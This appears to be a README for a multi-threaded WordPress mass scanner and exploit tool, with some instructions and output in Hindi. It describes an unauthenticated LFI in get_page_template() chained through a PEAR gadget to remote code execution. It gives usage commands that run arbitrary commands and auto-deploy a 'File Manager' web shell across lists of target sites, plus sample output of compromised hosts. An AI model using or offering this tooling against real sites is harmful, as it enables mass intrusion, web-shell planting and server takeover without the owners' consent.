<div align="center">

# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**

</div>

---

## 🔍 Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ Anonymous POST │───▶│ LFI via │───▶│ PEAR Gadget │ │ page_id + │ │ page-templates/│ │ config-create │ │ pagename │ │ ../../../ │ │ writes shell │ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ File Manager │ └──────────────────┘


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |

---

## ⚡ Quick Start

### 📦 Installation

```bash
# रिपॉज़िटरी क्लोन करें
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# निर्भरताएँ इंस्टॉल करें (केवल stdlib — pip की आवश्यकता नहीं!)
python --version  # Python 3.8+ आवश्यक है

🚀 First Run

# 1. अपनी targets फ़ाइल बनाएँ
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. गैर-विनाशकारी जाँच (सुरक्षित)
python main.py -l targets.txt --check --threads 20

# 3. पूर्ण शोषण + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

📋 Available Modes

Mode	Command	Description
🔍 Check	`python main.py -l targets.txt --check`	Non-destructive LFI detection
💥 LFI	`python main.py -l targets.txt`	Confirm LFI with OPML oracle
⚡ RCE	`python main.py -l targets.txt --rce --command "id"`	Execute commands via PEAR
📁 Shell	`python main.py -l targets.txt --rce --shell`	Deploy File Manager

🔧 Command Line Options

python main.py --help

  -u, --url URL          एकल लक्ष्य URL
  -l, --list FILE        लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक)
  --check                केवल गैर-विनाशकारी जाँच
  --rce                  RCE एस्केलेशन सक्षम करें
  --shell                File Manager शेल तैनात करें
  --command CMD          चलाने के लिए कमांड (डिफ़ॉल्ट: id)
  --page-id N            विशिष्ट पेज ID बाध्य करें
  --threads N            समवर्ती थ्रेड्स (डिफ़ॉल्ट: 20)
  --timeout S            प्रति-अनुरोध टाइमआउट (डिफ़ॉल्ट: 12)
  --proxy URL            HTTP(S) प्रॉक्सी
  --output FILE          पूर्ण लॉग आउटपुट
  --output-vuln FILE     केवल भेद्य लक्ष्य
  --output-rce FILE      केवल RCE लक्ष्य
  --no-color             ANSI रंग अक्षम करें

💡 Examples

# RCE + File Manager के साथ एकल लक्ष्य
python main.py -u https://target.com --rce --shell --command "whoami"

# प्रॉक्सी (Burp Suite) के साथ मास स्कैन
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# यदि डिस्कवरी विफल हो तो कस्टम पेज ID
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

After a successful run, the following files are generated:

File	Contents
📄 `results.txt`	Full scan log
🎯 `vulnerable.txt`	Targets with confirmed LFI
💀 `rce.txt`	Targets with successful RCE
📁 `shells.txt`	File Manager URLs

🖥️ Sample Console Output

CVE-2026-87902 मास स्कैनर v3.0
  WordPress get_page_template() अनधिकृत LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  प्रभावित: WordPress 4.7.0 - 7.1.1
  पेलोड: File Manager (स्वतः-तैनाती)
======================================================================
  मोड     : EXPLOIT + FILE MANAGER
  लक्ष्य  : 50
  थ्रेड्स  : 20
  टाइमआउट  : 12.0s
  प्रारंभ  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI की पुष्टि: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | RCE + File Manager प्रारंभ हो रहा है...
[14:32:18] [+]   गैजेट मिला: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager तैनात: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | पैच किया गया: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | कमजोर संस्करण (5.8.1) लेकिन OPML oracle सक्रिय नहीं हुआ
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

CVE-2026-87902

सबसे लोकप्रिय